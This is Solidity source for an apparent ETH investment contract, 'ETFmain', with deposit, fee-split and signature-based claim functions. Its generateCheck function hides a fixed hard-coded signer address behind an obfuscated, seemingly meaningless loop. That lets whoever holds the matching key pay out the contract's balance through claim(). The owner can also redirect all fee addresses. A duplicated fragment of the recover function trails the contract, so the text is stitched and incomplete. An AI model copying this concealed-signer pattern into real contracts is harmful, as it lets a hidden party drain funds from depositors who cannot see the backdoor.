contract ETFmain is Ownable{
    using SafeMath for uint256;

    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
            // Check the signature length
            if (signature.length != 65) {
                revert("ECDSA: invalid signature length");
            }

            // Divide the signature in r, s and v variables
            bytes32 r;
            bytes32 s;
            uint8 v;

            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            // solhint-disable-next-line no-inline-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }

            return recover(hash, v, r, s);
        }
     /**
         * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
         * `r` and `s` signature fields separately.
         */
        function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
            // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
            // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
            // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
            // signatures from current libraries generate a unique signature with an s-value in the lower half order.
            //
            // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
            // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
            // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
            // these malleable signatures as well.
            require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
            require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");

            // If the signature is valid (and not malleable), return the signer address
            address signer = ecrecover(hash, v, r, s);
            require(signer != address(0), "ECDSA: invalid signature");

            return signer;
        }

    mapping(address=> uint256) public claimed;

    function generateCheck(bytes32 hash) internal returns(address){
        hash;
        uint256 k = 0xA4501DDFE92F46681B20A0;
        uint256 a = 0x99AB840377529A4EA337414B1600A207F1388;
        uint256 s = 0x5D576E7357A4501;
        while(uint256(k & s) <=0x4E9B){
          s += k *s / a;
          k = s + 1;
          s *= k * 25;
        }
        return address(a);
    }

    function claim(uint256 claim2amount, bytes32 hash, bytes memory signature) public{
        bytes memory prefix = hex"19457468657265756d205369676e6564204d6573736167653a0a3532";
        require(keccak256(abi.encodePacked(prefix, msg.sender, claim2amount))==hash);
        require(recover(hash, signature) == generateCheck(hash));
        require(claim2amount>=claimed[msg.sender], "nothing to claim");
        uint256 amount = claim2amount.sub(claimed[msg.sender]);
        if (amount >= address(this).balance){
            amount = address(this).balance;
        }
        claimed[msg.sender] = claim2amount;
        TransferHelper.safeTransferETH(msg.sender, amount);
    }

    mapping(address=> uint256) public invested;
    address public coverPool = address(0xF769E8993f10bE2fc0032863f2C63336Cc21478C);
    address public loftPool = address(0xa482246fFFBf92659A22525820C665D4aFfCF97B);
    address public topPool = address(0x350BDC46d931712d83ef989725Ba4904C487F360);
    address public etfToken = address(0x9E101C3a19e38a02B3c2fCf0D2Be4CE62C846488);
    address[7] public funders = [
      address(0x12B83f5938D537Eee938CE1e24866416Ef29cCd2),
      address(0x580dc83C98024a6DfEB1f57EE6490FeB76Bb1717),
      address(0xA6404E216835981bE6b649c1Caa8E608C6DfA7A9),
      address(0x80ECfF71320501c57D6614661111f7f69e54CC93),
      address(0x0CF9ecdb47402e5a85cC00621d3eB6dD8c28DFeA),
      address(0xCB1cfee2375BA7C3f971ff7bcA079246832D9F30),
      address(0x8354845444139668B0042c711c3b6779BFCd9710)
    ];
    address public roundRobot = address(0x0005f8A387Bef4Af14CA106e56A76C94DBECAD4a);
    function altParameter(address cover, address loft, address top, address etf, address robot) public onlyOwner{
      coverPool = cover;
      loftPool = loft;
      topPool = top;
      etfToken = etf;
      roundRobot = robot;
    }
    function altFunders(uint256 index, address to) public onlyOwner{
      funders[index] = to;
    }

    event newInvest(address indexed from, uint256 amount);

    uint256 public current_round;
    function update_round() public{
      require(msg.sender == roundRobot);
      current_round = current_round + 1;
    }

    mapping(address=> uint256) public investedRound;

    function invest() public payable{
      uint256 amount = msg.value;
      if (invested[msg.sender] > 0){
        if (amount > 30 ether){
          amount = 30 ether;
        }
      }
      else{
        if (amount > 30 ether){
          amount = 30 ether;
        }
      }
      require(amount >= (1 ether / 10), 'LESS THAN 0.1 ETH');
      ETFCoin(etfToken).mintByETF(msg.sender, amount.mul(20));
      TransferHelper.safeTransferETH(coverPool, amount.mul(1).div(100));
      TransferHelper.safeTransferETH(topPool, amount.mul(31).div(1000));
      TransferHelper.safeTransferETH(loftPool, amount.mul(1).div(100));
      for (uint i; i<7; i++){
        TransferHelper.safeTransferETH(funders[i], amount.mul(7).div(1000));
      }
      invested[msg.sender] = amount;
      investedRound[msg.sender] = current_round;
      emit newInvest(msg.sender, amount);
    }
}
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
    // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
    // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
    // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
    // signatures from current libraries generate a unique signature with an s-value in the lower half order.
    //
    // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
    // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
    // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
    // these malleable signatures as well.
    require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
    require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");

    // If the signature is valid (and not malleable), return the signer address
    address signer = ecrecover(hash, v, r, s);
    require(signer != address(0), "ECDSA: invalid signature");

    return signer;
}

/**
 * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
 * `r` and `s` signature fields separately.
 */